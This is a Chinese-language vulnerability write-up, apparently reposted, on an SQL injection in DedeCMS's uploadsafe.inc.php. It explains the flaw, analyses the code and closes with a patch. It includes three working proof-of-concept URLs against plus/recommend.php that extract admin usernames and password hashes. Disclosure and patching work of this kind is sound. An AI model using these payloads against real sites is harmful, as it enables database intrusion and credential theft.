原文来自:https://www.zixuephp.com
dedecms上传漏洞uploadsafe.inc.php
文件地址: \include\uploadsafe.inc.php
1. 漏洞描述
1. dedecms原生提供一个"本地变量注册"的模拟实现,原则上允许黑客覆盖任意变量
2. dedecms在实现本地变量注册的时候,会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理
//$key值注入不在本文讨论范围内,详情参阅:http://www.cnblogs.com/LittleHann/p/4505694.html
3. 在处理文件上传的逻辑中,存在一条攻击路径,程序自己"反处理"了addslash逻辑,使用于闭合的单引号重新获得攻击效果,造成SQL注入
Relevant Link:
http://0day5.com/archives/1346
2. 漏洞触发条件
0x1: POC1
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
?action=
&aid=1
&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294
0x2: POC2
http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\&; or mid=@`\&;` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\&;`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873
0x3: POC3
http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\&;and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
0x4: POC入侵方式
1. 原始数据
\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
2.URL提交进来后,\ 和 ’ 分别被转义成 \\ 和 \’
\\\&; or mid=@`\\\&;`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`detest_admin` limit 0,1),5,6,7,8,9#@`\\\&;`
3.URL被带入include/common.inc.php中检查,此步数据未发生变化
4.然后来到了include/uploadsafe.inc.php中,经过第行str_replace后,\\被过滤成了\,用于攻击闭合的单引号重新获得攻击能力
$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
\\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`detest_admin` limit 0,1),5,6,7,8,9#@`\\'`
此时引号被成功的带入了查询语句中
5.回到plus/recommend.php中,第38行,此时SQL语句被拼成如下:
SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `detest_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `detest_admin` limit 0,1),5,6,7,8,9#@`\\'` '
Relevant Link:
http://www.xuebuyuan.com/2095280.html
http://0day5.com/archives/1346
http://loudong.360.cn/blog/view/id/17
3. 漏洞影响范围
4. 漏洞代码分析
从/plus/recommand.php开始逐步分析
require_once(dirname(__FILE__)."/../include/common.inc.php");
..
/include/common.inc.php
..
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
..
只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入引发漏洞的入口点在/include/uploadsafe.inc.php
..
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
..
/include/uploadsafe.inc.php
..
//URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
..
/plus/recommand.php
//读取文档信息
if($action=='')
{
if($type=='sys'){
//读取文档信息
$arcRow = GetOneArchive($aid);
if($arcRow['aid']=='')
{
ShowMsg("无法把未知文档推荐给好友!","-1");
exit();
}
extract($arcRow, EXTR_OVERWRITE);
}
else
{
//注入语句被带入数据库查询,
$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `detest_member_stow` AS s LEFT JOIN `detest_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
if(!is_array($arcRow)){
ShowMsg("无法把未知文档推荐给好友!","-1");
exit();
}
$arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];
extract($arcRow, EXTR_OVERWRITE);
}
}
5. 防御方法
/include/uploadsafe.inc.php
/**/ //$$_key=$_FILES[$_key]['tmp_name']=str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']); $$_key=$_FILES[$_key]['tmp_name']; /**/ ${$_key.'_name'}=$_FILES[$_key]['name']; ${$_key.'_type'}=$_FILES[$_key]['type']=preg_replace('#[^0-9a-z\./]#i','',$_FILES[$_key]['type']); ${$_key.'_size'}=$_FILES[$_key]['size']=preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'})&&(preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'})||!preg_match("#\.#",${$_key.'_name'}))) { if(!defined('DEDEADMIN')) { exit('NotAdminUploadfiletypenotallow!'); } } if(empty(${$_key.'_size'})) { ${$_key.'_size'}=@filesize($$_key); } /*限制上传文件类型*/ $imtypes=array ( "image/pjpeg","image/jpeg","image/gif","image/png", "image/xpng","image/wbmp","image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})),$imtypes)) { $image_dd=@getimagesize($$_key); if(!is_array($image_dd)) { exit('Uploadfiletypenotallow!'); } } /**/ 文件/include/uploadsafe.inc.php。 有2个地方: 1、搜索${$_key.'_size'}=@filesize($$_key);}(大概在42,43行左右) 替换成 ${$_key.'_size'}=@filesize($$_key); }$imtypes=array("image/pjpeg","image/jpeg","image/gif","image/png","image/xpng","image/wbmp","image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})),$imtypes)){$image_dd=@getimagesize($$_key);if($image_dd==false){continue;}if(!is_array($image_dd)){exit('Uploadfiletypenotallow!');}} 2、搜索$image_dd=@getimagesize($$_key);(大概在53行左右) 替换成 $image_dd=@getimagesize($$_key);if($image_dd==false){continue;}老规矩大红色地方标记了修改的地方,然后保存,接着备份原文件,比如文件名变为uploadsafe.inc.php.16.08.09.bak。然后上传修改好的文件即可。